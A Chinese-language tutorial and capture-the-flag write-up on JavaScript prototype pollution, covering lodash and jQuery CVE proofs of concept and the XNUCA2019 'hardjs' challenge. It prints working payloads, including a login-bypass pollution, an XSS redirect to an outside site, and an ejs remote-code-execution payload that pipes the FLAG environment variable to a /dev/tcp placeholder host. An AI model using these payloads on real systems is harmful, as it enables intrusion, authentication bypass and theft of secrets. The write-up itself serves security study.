您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關JavaScript Prototype污染攻擊是怎樣的,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
0x00 正文
原型和原型鏈
JavaScript中,我們如果要定義一個類,需要以定義“構造函數”的方式來定義。也就是說,我們定義了一個函數,就會有對應的一個類,類名為該函數名。
原型
每個函數對象都會有個prototype屬性,它指向了該構建函數實例化的原型。使用該構建函數實例化對象時,會繼承該原型中的屬性及方法。
所有的對象都有__proto__屬性,它指向了創建它的構建函數的原型。
在P神的介紹JavaScript原型污染攻擊文章中我們可以知道以下兩個性質。
prototype是一個類的屬性,所有類對象在實例化的時候將會擁有prototype中的屬性和方法
一個對象的__proto__屬性,指向這個對象所在的類的prototype屬性
原型鏈
所謂原型鏈也是指JS中的一個繼承和反向查找的機制,函數對象可以通過prototype屬性找到函數原型,普通實例對象可以通過__proto__屬性找到構建其函數的原型。
JavaScript的這個查找的機制,被運用在面向對象的繼承中,被稱作prototype繼承鏈
每個構造函數(constructor)都有一個原型對象(prototype)
對象的__proto__屬性,指向類的原型對象prototype
JavaScript使用prototype鏈實現繼承機制
具體的可以參考下面的解釋圖(參考鏈接見附錄)
原型鏈污染
原型污染是指將屬性注入現有JavaScript語言構造原型(如對象)的能力。
JavaScript允許更改所有Object屬性,包括它們的神奇屬性,如_proto_
,constructor
和prototype
。
在一個應用中,如果攻擊者控制并修改了一個對象的原型,那么將可以影響所有和這個對象來自同一個類、父祖類的對象,所有JavaScript對象通過原型鏈繼承,都會繼承Object.prototype上的屬性,這種攻擊方式就是原型鏈污染。
當發生這種情況時,有可能會被攻擊者利用從而注入攻擊代碼達到篡改程序或者執行命令的目的。
原型鏈污染出現的情況
根據p神文章所說,原型鏈污染主要是因為攻擊者可以設置__proto__
的值,導致污染,因此我們的目光應該瞄準哪些地方可以設置__proto__
的值,或者說尋找某些對象,可以控制其鍵名的操作。
比如:
對象merge
對象clone(將待操作對象merge到一個空對象中)
舉個例子:
假如存在一個merge操作:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } }}
這里沒有對鍵值進行過濾,假如key為__proto__
,那么就可以進行原型鏈污染。
這里需要注意,要配合JSON.parse使得我們輸入的__proto__
被解析成鍵名,JSON解析的情況下,__proto__
會被認為是一個真正的“鍵名”,而不代表“原型”,否則它只會被當作當前對象的”原型“而不會向上影響,例如:
>let o2 = {a: 1, "__proto__": {b: 2}}>merge({}, o2)<undefined
>o2.__proto__<{b: 2} //直接返回對應值
>console.log({}.b)<undefined //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')>merge({},o3)<undefined
>console.log({}.b)<2 //原型被成功污染
CVE-2019-10744Lodash.defaultsDeep
https://snyk.io/vuln/SNYK-JS-LODASH-450202//Affecting lodash package, versions <4.17.12
Lodash是一個一致性、模塊化、高性能的JavaScript 實用原生庫,不需要引入其他第三方依賴,意在提高開發者效率,提高JS原生方法性能。它通過降低array、number、objects、string 等等的使用難度從而讓 JavaScript 變得更簡單。此軟件包的<4.17.12版本會受到原型污染的影響。
在Lodash庫中defaultsDeep
函數可以進行構造函數(constructor)重載,通過構造函數重載的方式可以欺騙添加或修改Object.prototype的屬性,這個性質可以被用于原型污染。
驗證POC:
const mergeFn = require('lodash').defaultsDeep;const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() { mergeFn({}, JSON.parse(payload)); if (({})[`a0`] === true) { console.log(`Vulnerable to Prototype Pollution via ${payload}`); } }
check();
CVE-2019-11358
JQuery<=3.4.0中的$.extend
在./src/core.js
中:
155: if ((options = arguments[ i ]) != null)
如果傳入的參數arguments[i]不為空,將賦值給options,隨后會逐個取出并賦值給copy
158: for (name in options) { 159: copy= options [name];
因此copy值為外部可控
183: target[name] = jQuery.extend (deep,clone, copy);
隨后使用jQuery的extend函數將copy對象的內容合并到目標對象clone中,deep是它的可選參數,指示是否深度合并該對象,默認為false,如果為true,且多個對象的同名屬性也都是對象,則該“屬性對象“的屬性也將進行合并。其中,extend函數有以下兩個需要注意的地方:
如果只為$.extend()指定了一個參數,則意味著參數target被省略。此時,target就是jQuery對象本身。通過這種方式,我們可以為全局對象jQuery添加新的函數。
127:target = arguments[ 0 ] || {},
如果多個對象具有相同的屬性,則后者會覆蓋前者的屬性值。
在小于3.4.0版中extend方法不作檢查,把copy對象合并到target對象中
187:target[name] = copy;
如果 name 可以為 __proto__
,則會向上影響target 的原型,進而覆蓋造成原型污染。
下面為驗證POC
>let b = $.extend(true,{},JSON.parse('{"__proto__":{"vuln": true}}')) <undefined >console.log({}.vuln); <true <undefined
可以看到當已經發生了原型污染
在補丁中可以看到對屬性值進行了過濾:
for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( target === copy ) { if ( name === "__proto__" || target === copy ) { continue; }
Node.js中命令執行
在Node.js中有時需要執行一些系統命令,這時候會用到child_process
模塊,該模塊翻譯過來就是子進程,主要通過產生子進程來執行系統命令。
global.process.mainModule.require('child_process').exec global.process.mainModule.constructor._load('child_process').exec
0X01 題目:XNUCA2019 hardjs
方法一:JQuery中$.extend污染+前端XXS
在robot.py里面可以看到FLAG是藏在主機的環境變量中,并賦值給password。
username = "admin" password = os.getenv("FLAG")
首先,利用JQuery中$.extend污染session
在server.js中,對用戶進行如下判斷:
function auth(req,res,next){ // var session = req.session; if(!req.session.login || !req.session.userid ){ res.redirect(302,"/login"); } else{ next(); } }
通過前面的一些知識我們可以知道,在調用一個不存在的屬性key時,結果會返回undefined,比如
>function a(){}<undefined>a.aaa<undefined>let b = new a()<undefined>b.aaa<undefined
那么req.session.login
以及req.session.userid
在用戶未登錄之前的值也是undefined
的,按照之前所學習的原型鏈污染,如果我們能污染Object,那么我們只需要修改Object里的login和userid為true或者1,那么在session找不到login和userid兩個屬性值時就會向父對象進行查找,一直到找到父對象具有這兩個屬性值或者查找到NULL為止,因為Object里的login和userid已經被污染,因此可以任意用戶登錄。
在app.js中使用了存在漏洞的jQuery版本并使用了$.extend方法
function getAll(allNode){
$.ajax({ url:"/get", type:"get", async:false, success: function(datas){ for(var i=0 ;i<datas.length; i++){ $.extend(true,allNode,datas[i]) } // console.log(allNode); } })}
因此我們可以污染原型,首先向add路由請求6次,因為記錄條數大于5才會執行合并
server.js中
else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? "; var raws = await query(sql,[userid]); var doms = {} var ret = new Array();
for(var i=0;i<raws.length ;i++){ lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?"; var result = await query(sql,raws[i].id); }
{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}
然后訪問一下get路由來觸發$.extend來污染原型
所以現在可以以任意用戶登錄。
在所給的robot.py中我們可以看到以下設置:
chrome_options.add_argument('--disable-xss-auditor') chrome_options.add_argument('--no-sandbox')
可以看到bot利用selenium打開網站首頁,原本是會跳轉到login的,而密碼就是flag,但是我們對原型進行了污染使得可以直接登錄了網站首頁,如果我們能在前端(即網站首頁)進行XSS,再加上bot原來就會執行一次login的發送動作,那么我們就可以在首頁構造一個form使得bot執行的submit動作指向我們的服務器,所以我們就可以獲取到提交的password也就是flag了。
繼續查看代碼,看看頁面時如何進行渲染的,在前端app.js中,用js生成模板時,遍歷了hints數組并將hints數組里面的內容寫入到對應li標簽中,header、notice、wiki、button和message都會被渲染進sandbox中
this.sandbox.setAttribute('sandbox', 'allow-same-origin')
即使我們可以寫表單,也無法提交,數據中的js不會被執行。
for (key in dom){ switch(key){ case 'header': $tmp = $("li[type='header']"); $newNode = $( $tmp.html() ); $newNode.find("span.content").html(dom[key][0]);
// console.log($newNode.html());
viewport.appendChild( $newNode[0] ); break; case "notice": // console.log(dom[key]); $tmp = $("li[type='notice']"); $newNode = $( $tmp.html() ); $newNode.find("span.content").html(dom[key][0]); viewport.appendChild( $newNode[0] );
break; case "wiki": // console.log(dom[key]);
$tmp = $("li[type='wiki']"); $newNode = $( $tmp.html() ); $newNode.find("span.content").html(dom[key][0]); viewport.appendChild( $newNode[0] );
break; case "button": // console.log(dom[key]);
$tmp = $("li[type='button']"); $newNode = $( $tmp.html() ); $newNode.find("span.content").html(dom[key][0]); viewport.appendChild( $newNode[0] );
break; case "message": // console.log(dom[key]); $tmp = $("li[type='message']"); $newNode = $( $tmp.html() );
$newNode.find("span.content").html(dom[key][0]); viewport.appendChild( $newNode[0] ); break; default: console.log(key,":",dom[key]); }
}
接著看
(function(){ var hints = { header : "自定義內容", notice: "自定義公告", wiki : "自定義wiki", button:"自定義內容", message: "自定義留言內容" }; for(key in hints){ // console.log(key); element = $("li[type='"+key+"']"); if(element){ element.find("span.content").html(hints[key]); } } })();
如果在前端頁面能找到li標簽且含有type屬性,那么就可以考慮污染logger變量,使得hints數組也含有logger屬性,從而把logger的內容打印到頁面中,且避開sandbox,這樣就可以執行XSS了
<li type="logger"> <div class="col-sm-12 col-sm-centered"> <pre class="am-pre-scrollable"> <span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span> </pre> </div> </li>
進行XSS,誘導bot把數據提交到指定服務器,這里需要注意的是在污染session成功以后,需要用useid=1的賬號來進行logger的污染,當提交次數大于5之后,訪問get路由,觸發server.js中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));成功污染,把flag打到VPS
{"type":"test","content":{"__proto__": {"logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}
const ejs = require('ejs')
該項目使用ejs庫作為模板引擎,由于該模板引擎中通常會有eval等操作用于解析,因此可以去看ejs的存在原型鏈污染的地方。
查看ejs源碼可以發現,很大一部分調用全是為了動態拼接一個js語句,當opts
存在屬性outputFunctionName
時,該屬性outputFunctionName
便會被直接拼接到這段js中。
if (!this.source) { this.generateSource(); prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n'; if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } if (opts._with !== false) { prepended += ' with (' + opts.localsName + ' || {}) {' + '\n'; appended += ' }' + '\n'; } appended += ' return __output.join("");' + '\n'; this.source = prepended + this.source + appended; }
然后根據拼接的內容,生成動態函數
try{ ctor = (new Function('return (async function(){}).constructor;'));}.....else { ctor = Function; } fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src); }
此處如果可以控制opts.outputFunctionName為惡意代碼,即可實現RCE
附上出題者的payload
{"type":"test","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}
拼接到后端的動態函數則是:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';// After injectionprepended += ' var a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')// 后面的代碼都被注釋了'
污染了原型鏈之后,渲染直接變成了執行代碼,并提前 return,從而 getshell
同樣可以找到另外一處地方
var escapeFn = opts.escapeFunction;var ctor;....if (opts.client) { src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src; if (opts.compileDebug) { src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src; }}
偽造escapeFunction也可以打到RCE
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; returnprocess.env.FLAG","debug":true, "compileDebug": true}}}
上述就是小編為大家分享的JavaScript Prototype污染攻擊是怎樣的了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。